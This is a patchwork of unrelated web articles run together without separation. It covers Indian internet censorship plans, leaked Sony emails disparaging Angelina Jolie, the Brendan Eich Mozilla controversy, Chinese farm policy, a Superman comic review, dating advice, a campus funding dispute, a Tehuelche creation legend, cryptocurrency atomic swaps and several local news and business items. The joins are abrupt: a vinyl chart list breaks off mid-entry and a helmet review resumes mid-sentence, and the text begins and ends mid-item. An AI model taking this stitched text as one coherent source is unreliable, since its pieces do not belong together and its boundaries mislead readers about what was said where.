alive. Nope! The Marineros peeked out from behind the trees and shot me down. More battle reports will be coming in the future and I am currently planning for the next one to be entirely a naval battle, so stay tuned and subscribe so you don’t miss it!Indian Government And Telcos Explore How To Build Great Firewall Of India To Censor Porn And Other 'Undesirable' Content from the censorship-is-its-own-reward dept On September 5th 2014, 23 individuals, including Telecom minister Ravi Shankar Prasad, CERT-IN head Gulshan Rai, government officials from DoT, Deity, CBI, as well as representatives of industry bodies like IAMAI, FICCI, ASSOCHAM, CII met in the Conference Room No. 1007 at the Department of Electronics and Information Technology (Deity) to discuss how such a filter might be implemented…Not whether there should be a filter at all, but how such a filter should be implemented. In fact, when NASSCOM raised the issue of blocking legitimate content, the Telecom Minister, Ravi Shankar Prasad, who chaired the meeting, said that the “larger issue of respecting cultural values of the country and sentiments of the Indian society need to be considered and all possible ways and means may have to be devised in this context.” Over the last few years, we've noted that India is among those countries that have been increasingly looking to censor parts of the internet, with porn being a particular target. It appears that at least some of those plans are moving forward. News reports are detailing how government officials and a variety of telco execs recently all gathered to discuss how they might go about censoring the internet on a mass scale. From Medianama:Medianama details the many problems and concerns of such a plan, including the simple fact that plenty of legitimate content will likely be sucked up into this filter, that there's no transparency in what's blocked and what's allowed -- and that once a filter is in place, the intent and type of content blocked will inevitably increase.It is truly worrisome that this is the world we're heading towards, where something that was once seen as only the sort of thing that happened in authoritarian countries like China and Iran will start to become the norm. And while the US is unlikely to goas far, it has to be acknowledged that the US government is all for censoring certain websites with little to no transparency or due process, meaning that the US doesn't even have a moral leg to stand on if it protests other countries setting up their own censorship regimes. Filed Under: censorship, filter, free speech, great firewall, india, ispsAngelina Jolie has proven yet again that there is way more to her than just being stunningly beautiful and a talented actress. After arriving for an appearance on the Daily Show in New York to discuss her new movie Unbreakable the UN ambassador and humanitarian revealed her caring nature once more. The star dropped down to the floor to speak with a fan who'd experienced a panic attack while waiting to meet her. ANOTHER day, another release of embarrassing insider information courtesy of the mammoth Sony Pictures leak. This time, it’s actor, director and humanitarian Angelina Jolie in the crossfire. Jolie is the topic of conversation in a series of fiery emails between Sony Pictures co-chairperson Amy Pascal and movie producer Scott Rudin, as they debate scheduling issues surrounding the forthcoming Steve Jobs biopic, Jobs. According to the emails, published on Gawker, it appears the tension started when director David Fincher was tied to the Jobs biopic, rather than Jolie’s upcoming film project, a new retelling of Cleopatra. “[Jolie] is upset about us giving david jobs. She wants to talk,” Pascal said to Rudin in an email dated February 27 2014. Sony Pictures leak: Celebs’ secret hotel check-in names North Korea denies Sony hack attack “She’ll survive it. I don’t want to waste my time on this,” came Rudin’s blunt response. Later that same day, the pair traded a series of increasingly angry emails about Jolie’s apparent displeasure that acclaimed director Fincher would be unavailable to work on the Cleopatra project. “YOU BETTER SHUT ANGIE DOWN BEFORE SHE MAKES IT VERY HARD FOR DAVID TO DO JOBS,” Rudin wrote, to which Pascal responded, “Do not f*king threaten me.” Rudin’s next email was when the knives really started to come out for Jolie, who’d had the Cleopatra biopic lined up as her next film after her stint behind the camera directing the war epic Unbroken. “Don’t for one second even think about trying this sht with me,” Rudin wrote. “There is no movie of Cleopatra to be made (and how that is a bad thing and rampaging spoiled ego of this woman and the cost of the movie is beyond me) and if you won’t tell her that you do not like the script — which, let me remind you, SHE DOESN’T EITHER — this will just spin even further out in Crazyland but let me tell you I have zero appetite for the indulgence of spoiled brats and I will tell her this myself if you don’t.” Phew. If you can imagine it, things get even more heated between the two from there. While Gawker have detailed the pair’s tit-for-tat in full, we’ll save you having to read a lengthy email screaming match between two Hollywood big wigs and instead serve you up this particularly juicy morsel from Rudin, as he outlines his distaste at working on the Cleopatra film (emphasis is our own): “I’m not remotely interested in presiding over a $180m ego bath that we both know will be the career-defining debacle for us both. I’m not destroying my career over a minimally talented spoiled brat who thought nothing of shoving this off her plate for eighteen months so she could go direct a movie. I have no desire to be making a movie with her, or anybody, that she runs and that we don’t. She’s a camp event and a celebrity and that’s all and the last thing anybody needs is to make a giant bomb with her that any fool could see coming. We will end up being the laughing stock of our industry and we will deserve it, which is so clearly where this is headed that I cannot believe we are still wasting our time with it.” Ouch.Do you agree with everything your boss believes? Is this a requirement for working under them? The challenge issued this week to Mozilla – creators of the Firefox web browser and advocates of the "open web" – is whether their new CEO's alleged support for anti-gay marriage campaigns is at odds with their inclusive, community-driven stance. The boss in question is programming guru Brendan Eich, creator of the hugely popular JavaScript language and general web evangelist. Mozilla have been operating under an acting CEO, Jay Sullivan, for over a year and announced on Monday their decision to appoint Eich to the role after his 15 years there, most recently as CTO. The controversy stems from a $1,000 donation Eich made in 2008 in his own name – albeit with Mozilla's name listed alongside it, as US law stipulates – to the Proposition 8 campaign, an amendment to California law which outlawed same-sex marriage. Mozilla is well known for its commitment to open and inclusive technology, pitching itself as a grassroots competitor to commercial companies such as Google. It didn't comment, though, when the controversy originally surfaced back in 2012, and Eich himself only acknowledged the apparent discrepancy in a blogpost which skirted around the issue. Mozilla: "a global community who believe in openness and opportunity" Today, things are more complex. The web is in a state of flux: on the one side, shadowy government agencies and enormous tech companies clamour to collect our personal data, with or without our approval. On the other side, Mozilla positions itself as "a global community of people who believe that openness, innovation and opportunity are key to the continued health of the internet". This ethos is clearly impacted by Eich's position, whether or not it is a personally held belief. A CEO's political views and opinions shape that organisation's future: Mark Zuckerberg's burgeoning interest in US immigration law comes from a desire to widen the net Facebook casts in hiring talented people from around the globe. While it’s unlikely that Eich would suddenly introduce anti-gay attitudes to Mozilla's company manifesto, likewise it feels counterintuitive to the organisation's aims to let such things go unchecked. The film studio Lionsgate found themselves in a similar position last year as their adaptation of Orson Scott Card's "Ender's Game" novel was met with controversy due to his homophobic statements. The studio eventually issued a statement in support of same-sex marriage and publicly distanced themselves from Scott Card's beliefs. Such beliefs are, of course, the right of the individual, no matter how distasteful they may appear to others. This particular issue feels different, though, because of the nature of the belief. To actively oppose the union of two people who love each other – and to pitch in a significant amount of money to prevent that union being legally recognised – is a strong step in the direction of anti-equality. At least one prominent developer has already announced – with his husband – a personal boycott of Mozilla's products and tools. The web is for everyone An organisation should not be treated as a single homogeneous hivemind, with all employees sharing the same viewpoints. Diversity of belief and opinion is an important asset to a modern, innovative company. But issues of equality are more than just matters of conscience. These are the things that define us, our attitudes and our actions. Eich's stance is unlikely to change. But by placing him in this leadership role, Mozilla ignores the unspoken message its silence implies: that it will turn a blind eye to a leader's presumed desire to shut down, invalidate and remove a whole subgroup's rights. Nobody should have to to police their thoughts and tow the company line in their personal life. But to pretend that the opinions and actions of the CEO of a global organisation are independent of the way that company is perceived and the way its values are lived is to ignore an ugly truth. How can a company striving for openness appoint someone paying to oppose it? The web community could live with Brendan Eich's opinion that same-sex marriage is wrong – that is his right to believe. But it can't live with his funding of this campaign which runs counter to what the web aims to address: that the internet affords us the opportunity to redress inequalities and barriers. As Tim Berners-Lee put it: "This is for everyone". • Brendan Eich's appointment as Mozilla CEO causes ripples across companyThe Chinese central government released a guideline to make agriculture more intensive and environmentally friendly on Friday, as they seek to ensure adequate and safe food supply. The guideline, issued by the State Council, or China's Cabinet, seeks to transform the production model by weaning dependency on resources and mass labor and improving the use of advanced technology and skills of farmers. The government hopes modern agriculture will show improvement by 2020 and achieve strong progress by 2030. Farming in China has been booming for more than three decades, with a constant rise in output. The nation prides itself on feeding more than a fifth of the world's population on only 10 percent of arable land worldwide. However, over-exploitation and primitive farming techniques have burdened farmland. In northeast China, a major grain area, crops are suffering from falling fertility as layers of so-called black soil land were reduced to 20 cm from 100cm decades ago. "Agriculture faces increasing challenges and risks and it is an urgent need to transform the production model," said Ye Xingqing, head of the agricultural economy department of the Development Research Center under the State Council. The guideline vowed to find new, creative approaches to industrial chains, subsidize modern farms, make loans obtainable to agricultural businesses and teach farmers to take advantage of technology. To make the sector sustainable, the country will stop increasing fertilizer and pesticide use by 2020 to curb soil pollution and promote organic food, and pilot cyclic utilization of agricultural waste. The government expects the measures will upgrade the agriculture, turning it into a sustainable sector and keeping its high yield at the same time to satisfy rising food demand from an enormous population. The Ministry of Agriculture has forecast Chinese will consume 50 billion kg more food in 2020 than it did in 2010. Given the growing appetite, food safety will continue to be prioritized by policymakers. China's summer grain output reached a record high of 141.07 million tonnes in 2015 after 11 consecutive years of increases, latest data showed.Vinyl record sales have reached a six-year high, according to the Official Charts Company. 341,000 albums were sold in 2011 with Radiohead's The King Of Limbs the best-selling record of the year. Vinyl single sales continue to fall however, down 20% on the previous year. Liam Gallagher's Beady Eye had four singles in the top 10 best-selling singles despite total sales falling to 122,000, down from 152,000 copies in 2010. Noel Gallagher's High Flying Birds had two singles in the top 10 with Morrissey, Arctic Monkeys, Miles Kane and Manic Street Preachers also featuring. Top 10 vinyl 7in singles of 2011: 1. The Roller - Beady Eye 2. Millionaire - Beady Eye 3. Glamorous Glue - Morrissey 4. The Beat Goes On - Beady
looking to integrate it in future versions. Everything that that was shown at the DAQRI offices was exciting to see, however there were two items that stood out to me the most. There were two newer, unannounced versions of the Smart Helmet that were displayed behind glass cases in one of the rooms. Unfortunately, I wasn’t able to take any pictures of the headsets (or try them out) despite my efforts to try and persuade the nice man giving me the tour. The first helmet was labeled as a medical device to be used by people like surgeons, but to me it looked like something a surveyor would wear in a construction setting. It’s essentially a lighter, stripped down version of the initial Smart Helmet prototype that resembled glasses more closely than a hardhat. The other prototype, which was my favorite of the two, was designed specifically with firefighters in mind. It had a beautiful red finish with accent marks in yellow and was made to cover the entire head of the wearer. The lenses and light sources are very similar (if not the same) to the original Smart Helmet prototype. Besides covering the entire head, the main difference between the two was that this custom device had a tube leading out from the bottom of the headset. This turned the helmet it into a self-contained breathing apparatus perfect for firefighters who might find themselves engulfed in smoke. After trying DAQRI’s smart helmet prototype, it’s clear to me that innovations in augmented reality are going to be led by industrial applications at first. Large companies that are approaching AR in this way tend have the money required to deploy extraordinary devices like this. Granted, the items made by industrial firms like DAQRI are most likely going to produce expensive devices which will not be available for the general public, but they are helping to lay the foundation of AR like never before by proving the concepts first. There is no official word on what the DAQRI Smart Helmet will cost, but we can almost guarantee that it won’t be cheap compared to a consumer-facing product. We do know however that DAQRI is planning on a Smart Helmet release around December, 2015. It’s amazing to see that augmented reality technology like this currently exists in a working state and is almost ready to be deployed for industrial use. Hopefully, we’ll get more details from DAQRI soon. In the meantime though, be sure to check out their website linked above and watch the video to see more of what DAQRI is up to.Hello, fellow comic fans, and welcome to another installment of Comics You Should Have Already Read by Now. This time around, we’re going to be taking a bit of a break from the norm, and look at a comic book that actually came out within the last decade: Grant Morrison and Frank Quitely’s All-Star Superman. Telling the story of a dying Superman, this book serves as a celebration of who the Man of Steel is and everything he represents in a tale filled to brim with astounding and beautiful moments. Essentially, this book is a giant love-letter to the Last Son of Krypton handled by some of the best talents in the industry, with truly stellar results. Released as a 12 issue miniseries between 2005 and 2008, All-Star Superman tells the tale of a possible ending for the Man of Steel. After being overexposed to solar radiation while rescuing a band of scientists on the surface of the sun, Superman’s body begins to slowly tear itself apart over the course of a year. With this as our backdrop, the story takes an inspired look at what Superman means on a number of levels. In the fictional setting he inhabits, this means looking at Superman’s role in the world, as well as his role in the lives of his loved ones. In a broader sense, though, Morrison and Quitely give us a study of what Superman means as a comic book character and as a symbol to those of us in the real world, displaying an intimate understanding of essence of the Last Son of Krypton. Don’t believe me? You need look no further than the first page of the first issue, where they manage to distill Kal-El’s origin story down to a mere 8 words and 4 images! So to start things off, we have a succinct example of how the creative team, armed with the understanding that Superman has been deeply ingrained into pop culture for well over half a century, are able to break down the essence of who Superman is and incorporate this seamlessly into the narrative. And things continue along in this fashion, delivering moment after moment that distill the core of the character and the fanciful nature of his adventures. Issue #3, for example, follows Superman on his date with Lois Lane, an occasion filled cover to cover with Silver Age variety craziness… But which of course ends with a kiss. Issue #6, on the other hand, has Superman working with a band of his time-traveling successors to contain a Chronovore in Smallville, during which time he takes the opportunity to connect with his roots and visit his father one last time. Yet if you had to pick the one issue that best defines Superman, the one that features the Man of Steel at his most iconic, displaying the truest representation of the character, you’d be hard-pressed to beat Issue #10. Narrated by Superman as he thinks on his life, the action follows the Man of Tomorrow over the course of a day as he visits sick kids in the hospital, fights mad scientists from the future, and witnesses the Bottle City of Kandor’s colonization of Mars. Even amongst all this insanity, though, the thing that sticks out the most is the scene in which Superman saves a troubled young girl with the simplest act of kindness there is: a hug. If you were to ask me to show you one panel to demonstrate the purest and most genuine representation of what Superman is all about, I would show you that final panel with Superman hugging Reagan. This is because Clark Kent is who he is because he’s the guy who always takes time to help the person no one else noticed. He’s the guy who doesn’t fight to punish the guilty, but rather to protect the innocent. He’s the guy who would rather not solve a problem with his fists, but with compassion. He’s the man with the power of a god, but who’s greatest strength lies in his humanity. This, then, ties in well with what I think is the best part of All-Star Superman: it whole-heartedly embraces what the character is. Morrison and Quitely understand that Superman is character often maligned for being overpowered and perceived as old-fashioned. But rather than trying create artificial conflict by nerfing his power or making Kal-El more angst-ridden, they instead bring his strength and nobility to the foreground (on the powers front, in fact, this Superman is more powerful than ever with his solar saturation boosting his abilities even as they kill him). By making the story about Superman coming to grips with his impending death, the creators give us a compelling story that assesses the life of Superman and what has made the character an enduring icon. One of the most important aspects of this is the recognition that Superman is the Man of Tomorrow, not the Man of the Past. Those who think of the Man of Steel as a relic of yesteryear, I would argue, are looking in entirely the wrong direction. He doesn’t represent a simpler, more innocent past that we’ve gotten away from; rather, he represents a goal that we’re still trying to reach. This sentiment is expressed beautifully in the book, when Superman has a spiritual encounter with his father, Jor-El, who explains the significance of Kal’s presence on earth. “You have given them an ideal to aspire to, embodied their highest aspirations. They will race, and stumble, and fall and crawl…and curse…and finally…they will join you in the sun, Kal-El.” Superman represents the best of what we want to be, both to the denizens of the DC Universe and to readers in the real world. He is a goal that we still strive for, even if we are never going to reach it. All-Star Superman celebrates this side of the Man of Steel, and does so in a spell-binding fashion. This is a book that is both inspiring and heartfelt, and any fan of the Last Son of Krypton, or of super heroes in general, owes it to themselves to add it to their library. AdvertisementsIn 2018, dating is more competitive than it’s ever been — download this free report to learn 6 proven skills to stand apart & succeed in the modern dating world. A lot of people use the word “rejection” over and over again in their lives. My belief, however, is that there is no such thing as rejection. If another person doesn’t choose to be with you, they are not rejecting you. They are choosing to go in another direction. There may not be enough chemistry between the two of you. There may not be that connection there. Whatever the reason, it doesn’t mean that you are not a fantastic, wonderful and incredible person. Here’s an email a client of mine recently sent me talking about how he’s been feeling a lot of rejection lately: =================== Client Email =================== “David, This is something I’ve been dealing with recently (and very poorly, since I’m overwhelmed and miserable from getting turned down by someone who I thought was showing me a lot of signs of romantic interest [buying me a couple little gifts, taking me on a scenic drive around town, asking my advice on a couple personal topics].) But it turned out, when I tried to kiss her after a great night out of dinner and dancing, that she had none of these romantic/sexual intentions in mind. There could be dozens of reasons why she dissed me (bad approach? too slow? not showing enough confidence in my pursuit of her? is she being fickle?), but after spending the last six weeks obsessing over her in my own mind and pretty much falling in love with her (as crazy as that seems), I’m inconsolable. How do you suggest rebounding from this sort of disappointment when you’ve thrown so much of your heart and your emotions at someone, only to see it fall flat?” ======================= My Response To Client’s Email ======================= “Think about this. What was happening is that you fell in love with the fantasy of this woman. When you get to know a woman in the first week or you’ve gone out with her maybe once or twice, you are falling in love with the idea of her. The question is when are you going to go in, and are you going in with the intention of kissing her? If she does not want to kiss you, it is not the way you kiss or the way you went in. It is that she just is not feeling the chemistry, and you were not reading it because you were so in your head. David” Just like with my client, a lot of guys that I have met are just so in their head it’s incredible. They are in their heads in such a ridiculous way, that what they are perceiving as chemistry is not chemistry at all. Rejection is something that a lot of people take really hard. Rejection is a lot of things to a lot of different people. I have decided in my life that I don’t believe in rejection. I don’t buy into rejection, nor do I believe that it even exists. If someone chooses not to be with me, they are not rejecting me. They are just not feeling the chemistry with me. They are just not feeling the same things I think I may be feeling. Ever since I’ve adopted this mindset in my life and really explored this part of my life, I have found that I live a rejection-free life because I am really happy with who I am as a person. I am really content with who I am. I think I am an amazing person. If someone chooses not to participate in a friendship or a love relationship with me, that’s fine because I will keep moving forward and find the person with whom I’m meant to be. As a matter of fact, that’s exactly what I’ve done in my own personal life. That’s why I now have such a great, loving, and amazing relationship with my girlfriend. This is something you need to think about. Think outside the box a little bit, and stop taking what you think of as “rejection” so personally. Start realizing that chemistry has a great deal to do with whether you will connect with someone, and consider taking “rejection” out of your dating vocabulary. I am going to end this with another great email from a past client. Hey Dave, “An invaluable lesson i picked up from that weekend with you and Kheim last March was letting go of myself and allowing myself to not only appreciate, but help create the present for all its beauty. Whenever I get caught up with the “imminent concerns” confronting me and catch myself preoccupying myself with internal thoughts, I read this. Maybe it will help one of your students some day.” -Mike As we grow up, we learn that the one person that wasn’t supposed to ever let you down probably will. You will have your heart broken probably more than once and it’s harder every time. You will break hearts too, so remember how it felt when yours was broken. You’ll fight with your best friend. You’ll blame a new love for things an old one did. You’ll cry because time is passing too fast, and you’ll eventually lose someone you love. So take too many pictures, laugh too much, and love like you’ve never been hurt because every sixty seconds you spend upset is a minute of happiness you’ll never get back. In today’s podcast, I go more in depth into the subject of rejection and tell you more about how to cope with rejection. If you thought my statement that rejection doesn’t exist was incredible, then you don’t want to miss what else I have to say on this subject:In the wake of a standing room only event with conservative leader Bay Buchanan on the topic of immigration, the Virginia Tech Young Americans for Freedom (YAF) Chapter has been informed that they will not receive funding for the next two semesters. Lauren McCue, the Chair of her YAF Chapter, requested funding from the Student Budget Board and received it for her club’s event with Bay Buchanan. Buchanan was the youngest person ever to serve as Treasurer of the United States, author of two books, and has an extensive career in public policy. The morning after Buchanan spoke, the event made the front page of the school newspaper—apparently administrators didn’t like the “controversy” and “stir” that it caused on campus. Lauren was also told that their fliers went “too far” because the event was advertised as “Alien Invasion: How Illegal Immigration is Hurting America,” and while the fliers drew in a large crowd, it was “offensive” to some student groups. Apparently, the discussion on immigration with the former Treasurer of the United States irked some liberal administrators at Virginia Tech. The Student Budget Board contacted Lauren to tell her that her club would not be funded for the next two semesters because her event “violated the principles of community.” However, students who attended the event had a different perspective. Harrison Pearson, a Virginia Teach student, said, “The Bay Buchanan event was a great event for myself, and I’m sure it was for others as well. Conservative values scarcely find an outlet on college campuses, so this event allowed me to develop opinions on the topic and listen to the opposition at the same time.” When Lauren asked for a specific explanation as to why her club was losing funding, her inquiries were ignored. Finally, Lauren set a meeting with the Student Budget Board, and they explained to her that they “had an issue” funding the event in the first place because the speaker was Bay Buchanan. Max Frischman, the head of the Student Budget Board (who didn’t attend the event) told the YAF Chapter that if they had known the topic was going to be immigration—something that “would create a problem on campus when there isn’t one—they never would’ve approved the funding for it.” Lauren politely asked the Student Budget Board administrators why the topic of the discussion even mattered and that it was wrong to censor speech and discussion on controversial topics. The answer from Frischman, head of the Board, was that “clubs like (hers) generally push buttons more than other organizations, given the nature of their mission.” In a statement to Young America’s Foundation, Lauren said, “I’m disappointed in Virginia Tech for being intolerant toward conservatives. I feel discriminated against for speaking my mind and standing up for what I believe in as the chairwoman of my Young Americans for Freedom chapter.” Unfortunately, Lauren had planned events for her club to celebrate Freedom Week from November 10-14, but funding for her club was denied since one of the events involved tearing down a “mock” Berlin Wall on campus. She was told that she would need to obtain insurance since there could be “flying” debris that could be a danger to students on campus. Also, the head of the Student Budget Board said, “How do we know that you will actually tear down a mock Berlin Wall and not focus on the Israeli-Palestinian conflict instead?” Clearly, there’s a suppression of speech, and discussion on controversial policy topics are not allowed on Virginia Tech’s campus. Ashley Pratte is the spokeswoman for Young America’s Foundation.Join the Johnson Weld 2016 campaign in 'An Evening with Governor Weld' at the Venetian Room in Atlanta on Wednesday, October 5, 2016 at 7:30 pm. Learn about Governor Weld and his success as a two-term Governor of Massachusetts. See why Johnson/Weld are rapidly gaining support as the sane choices for President and Vice-President. Join us and let's make history together. #YouIn? RSVPs are not required, but appreciated. Doors open at 6:30 pm for a cash bar cocktail hour. Bring a friend! FAQs Where can I contact the organizer with any questions? Email events@johnsonweld.com with your questions. Does a ticket guarantee admission? This event is free and open to the public, but RSVPs are strongly encouraged. Admission is first come, first served. Are children welcome at this event? Yes, families are welcome.Nick Saban has built a reputation as a maniacally driven, joyless man who seems to flash a genuine smile just once or twice a year. According to his own players, though, he’s still not as scary as an SEC football mom. Saban received a few votes, but most players were far more afraid of their own moms, and they had excellent explanations. “My momma, hands down.” Article continues below... “Probably my mom’s going to see this before Coach Saban does, so my mother.” “I’ll say my mom because Coach Saban can’t put his hands on you.” “Once I leave Coach Saban, who am I gonna talk to? My momma. Once I leave this school, it’s gonna be my momma. She with me for life, I’m gonna have to be scared of her more.”KóochWorld creation according to the TehuelchesThe leyend in English, translated by me (with help of a translator pageThe leyend is in this blog (spanish) [link] Kooch always existed; he had neither birth or beginning. He was like the air. Nobody could touch him; no other one existed to see him... neither to touch him...From the beginning of the world, Kooch was surrounded by glooms.Since he was living alone and surrounded of glooms, he could not see anything... and this situation saddened him in such a way that he began to cry for a long timewith a deep and endless weeping.From the tears that were appearing of his eyes, the primitive sea was formed."ARROK", the first element of the nature, where one began to prepare the life to populate the future world.When he warned that the water sprouted of his eyes was continuing in constant increase, he stopped crying and started a deep sigh. This sigh originated the wind, that removing the obscure mists, gave place to the birth of the clarity, so he was glad, waking up and awakening his longing for continuing creating the remaining elements that would form the world.He created everything alive, even the stones have a way of living. Kooch had created the sea with his tears and had removed the glooms around him, but in the distance they were continuing and it was preventing him from seeing the world.Suddenly he lifted his hand realizing a rapid movement with which he tore the darkness of the one that sprouted a great spark, which continued the draft of his hand, managing to remove the glooms. He could then see the wonderful world lit by that spark, to which he called Xaleshen (Sun).Created the three elements of the space, the Wind, the Light and the Clouds, KOOCH made arise from the bosom of the primitive sea a very big island on which he created the perishable life, that is to say: the birds, the animals, the insects and the fish. In order to admire the KOOCH's wonderful work, the Sun was sending light and heat; the Clouds were taking the beneficial rain and the Wind he was taking charge sowing the seeds of the pastures.The life was working in pacific form in the island of the Tehuelche's cosmology, until there appeared the giants, monstrous and perverse beings. He was at the time that the village people emigrated to the Patagonia.I'm very tired right now, so...sorry for the grammar! But it's understandable....I think...Atomic swaps is a technology enabling two parties, on different blockchains, to instantly transfer 2 cryptocurrencies on mutual terms without a third party. The concept was first discussed in 2013, by Tier Nolan but up until 2013, it has been an elusive dream. "Just completed the first $DCR <> $LTC cross-chain atomic swap with @SatoshiLite. Huge shout-out for debugging with us! More info soon™.” Decred's announcement of an LTC/Decred atomic swap was met with much funfare. Blockchain Engineers are excited because it represents a great milestone for the industry overall. Because cryptocurrency blockchains are open source, ideas can be ported across projects if they prove viable. Decred's atomic swap feature is possible for Litecoin, Bitcoin, and forks of Bitcoin. This feature is strictly limited to command line scripts. But a planned future release will integrate it with the company's Decrediton GUI wallet. A blog post on the project's official website outlined prerequisites for compatibility. Chains must have the following features. Branched transaction scripts Similar hash algorithm in both chains' transaction scripts Transaction scripts contain signature checks Transaction scripts have CheckLockTimeVerify (CLTV) or CheckSequenceVerify (CSV) What is this useful for? In light of the recent ICO prohibitions in China and crackdowns on exchanges, atomic swaps are a big part of the decentralized dream. Government interference has only made a stronger case for decentralized exchanges. Centralized exchanges are an achilles heel in the cryptocurrency ecosystem. With cross chain trades, decentralized exchanges can be built for all types of trades. Large OTC trades and order book exchange trades can be powered by interoperable trading features on multiple blockchains. Centralized exchanges will be relegated to one-off on-ramp from fiat to cryptocurrency. Everything else after would occur on blockchains. Other Successful Atomic swap projects Decred is not the only cryptocurrency project to explore atomic swaps. Soon after Decred's swap, Charlie Lee, founder of Litecoin followed up with 2 more cross chain trades. One with Vertcoin dev @jamesl22 swapping 1 LTC for 55 VTC and the next using Segregated witness trading 10 LTC for 0.1137 BTC with JStefanop1. Decred's swaps are heavily dependent on the mining process on both chains. At least an hour or two of waiting time is necessary for enough confirmations to assure the trade. With the lightning network, however, atomic swaps are off-chain. All transactions route through offline payment channels resulting in instant cross chain transactions independent of the mining process. Zcash's implementation uses Hash-Time-Lock-Contracts (HTLC), borrowed from Bitcoin's lightning network that also supports atomic swaps with a superior efficiency. In August Engineers from the Zcash project demoed a working implementation of cross chain atomic trades (XCT) between Zcash and BTC. Jay Graber and Ariel Gabizon shared their live video setting terms of the trade, generating two bitcoin and Zcash addresses and completing the swap after both agreed to terms. Another little-known project, Komodo, cried foul purporting they tested cross chain successfully as early as early January 2017. Komodo is decentralized ICO platform (dICO) to enable bypassing ICO prohibitions. Interoperability of cryptocurrency blockchains is a highly sought after feature. Cryptocurrency expert Jimmy Song believes these early successes at cross chain cryptocurrency trades portend an exciting future for the cryptocurrency landscape.Just when it seemed like the news out of Chicago couldn’t get any more heartbreaking, 6 month old Jonylah Watkins was shot and killed earlier this week. The child was shot multiple times in a car as her father changed her diaper. The girl’s father, Jonathan Watkins, was seriously injured in the shooting. The Chicago Bulls’s superstar point guard Derrick Rose has offered to pay for the baby’s funeral services. According to NBC Chicago: > The Englewood [Chicago] native — who recently became a father last October when his son, Derrick Rose Jr. was born — has always felt a close connection to the plight of kids in Chicago, as evidenced by his speaking out during the recent Chicago Public School strike, and him shedding tears over the many obstacles that kids face during the launch of his new adidas sneaker, the Rose 3.0 in September. The funeral is scheduled to be held next week.Copyright 2019 Nexstar Broadcasting, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. Tyler, Texas (KETK) - Cinergy Entertainment Group, Inc. announces their newest entertainment center coming to Tyler, TX located at South Broadway and Market Square Blvd. in The Village South shopping center, a neighboring project to The Village at Cumberland Park. "We're very excited to be opening a bowling and entertainment center here in the Tyler area," states Jamie Benson, Cinergy's co-founder and Executive Vice President. "We cannot wait for to the community to enjoy what Cinergy has to offer." "This will be the fourth Cinergy Entertainment location in Texas, with the third location opening in Odessa, TX this fall," states Jeffrey Benson, Cinergy's co-founder and CEO. "With Cinergy's multi-venue entertainment components our concept is always expanding, this location will be our first in which we are specifically focused on bowling and family entertainment. With Studio Movie Grill across the street we hope to complement each other and become the premium entertainment destination for the area." Cinergy Entertainment in Tyler will boast more than 20 bowling lanes of upscale glow in the dark bowling, a full-service bar, expansive dining options with a chef-driven menu, multiple event rooms, billiard tables, a fully-loaded game floor, redemption store, a multi-level Laser Tag arena, and Sky Walker with a zip line (a gravity-defying, black light overhead ropes course). Cinergy Entertainment will open their third location this fall in Odessa, TX and another entertainment center in Amarillo, TX in late 2017. Jeffrey Benson, Cinergy Entertainment CEO is working with Neil Hupfauer, President and COO, to grow the Cinergy concept and expand into new markets. Mr. Hupfauer co-founded Main Event Entertainment, the very successful multi-venue bowling-anchored family entertainment business and has an extensive business background in the bowling, restaurant, and family entertainment industry spanning more than 45 years. "Tyler is the perfect community for a family entertainment center, the area has dense family demographics with strong economic stability, we can't think of a better place to open our family entertainment center," states Neil Hupfauer. Dallas, Texas-based Cinergy Entertainment Group, Inc., is a visionary industry innovator and regional operator with three Texas cinema entertainment centers with 29 screens by the end of 2016. All Cinergy current centers feature dine-in cinemas featuring beer, wine, and a tempting array of quality food and beverages. In addition to upscale cinema amenities, all Cinergy locations feature a unique selection of interactive games and a variety of other amenities, including laser tag, and Sky Walker. Cinergy is privately held by the Benson family, the founders of Movie Tavern, the largest nationwide chain of dine-in cinemas. For more information, visit Cinergy on the web at www.cinergyentertainment.com10. OpTic Gaming OpTic Gaming, one of the largest North American esports organizations, was accepted into the franchised league for the foreseeable future of the NALCS. A team that is sure to have one of the largest fan bases (shoutout to the #GREENWALL) and the worst preseason ranking. OpTic Gaming picked up the following players during the offseason: Top: Derek “zig” Shao Jungle: Matthew “Akaadian” Higginbotham Mid: Tristan “PowerOfEvil” Schrage ADC: Noh “Arrow” Dong-hyeon Support: Daerek “LemonNation” Hart It may be surprising why OpTic Gaming is rated so lowly with this amount of household and veteran names on their roster. This prediction is based around the lack of a strong support staff (minus Romain!) and underwhelming recent performances from their players. All of the starters on the roster were on bottom half rosters last split and unimpressive on an individual level (minus PO€). The majority of the players have not played with each other and will be in a growth period throughout the split that can result in a handful of early losses. I do expect the team to grow and climb the ranking for next split but for now, in a stacked LCS, OpTic Gaming will be a low-tier team.(St. Louis, MO) – You have probably read lots of stories in recent months about brewers leaving their nest and branching off to start their own breweries. As new breweries crop up, it seems like retaining talent has become a problem for incumbent breweries in the same way that hiring talent has. Perennial Artisan Ales’ Phil Wymore was one of those brewery founders who knew he had a special (and entrepreneurial) talent in Cory King and feared that he may leave. So he did something out of the ordinary. Wymore, who cut his teeth at Goose Island and Half Acre before leaving to start Perennial, let King start his own brewery… …inside Perennial Artisan Ales. King and Wymore announced the news on StewedSTL earlier this week. The new operation is tentatively called Side Project Brewing. And yes, since we will get a lot of comments on this, Terrapin Beer Co. has a series of beers dubbed, “Side Project,” but has never filed an application to register it as a mark. Side Project focuses on barrels, owning about a quarter of Perennial’s stock of 80 or so. King jokes that Side Project may be among the largest barrel-aging programs in the area. Look for beer in about nine months. This is effectively an alternating proprietorship in which King brews on Perennial’s equipment. One of the key benefits to Perennial is that, as you can guess, they will keep King working at the brewery as usual. And for King, it sounds as though he owns 100% of his project. At some breweries like Firestone Walker and The Brooklyn Brewery, brewmasters are actually made partners, so retaining talent can be achieved any number of ways though this one is particularly unique.In 1932 the Lincoln Electric Company held an essay contest on the virtues of arc welding. The top three entrants received “what are believed to be the most unusual check ever issued”: These checks, for $7500, $3500 and $1500 respectively, were ‘written’ on 1/8-inch sheet steel. Each check was 24 inches long and 10 inches wide. All information including date, amount, payee and name of bank was arc welded, welding operators in the Lincoln plant relieving the treasurer’s office of this detail. The company president, J.C. Lincoln, signed each check by arc welding, and the prize winners endorsed them the same way. “When the panels of steel are presented to banks and paid, they will be returned to the bank of issue, where guards will cancel them with the aid of a submachine gun.” (Steel, June 13, 1932)UPDATE 12/10/2015, 10:20 P.M.: Daniel Holtzclaw was found guilty Thursday evening of five counts of rape and an additional 13 counts of sexual assault against eight of his accusers. He faces life in prison when he is sentenced Jan. 21. 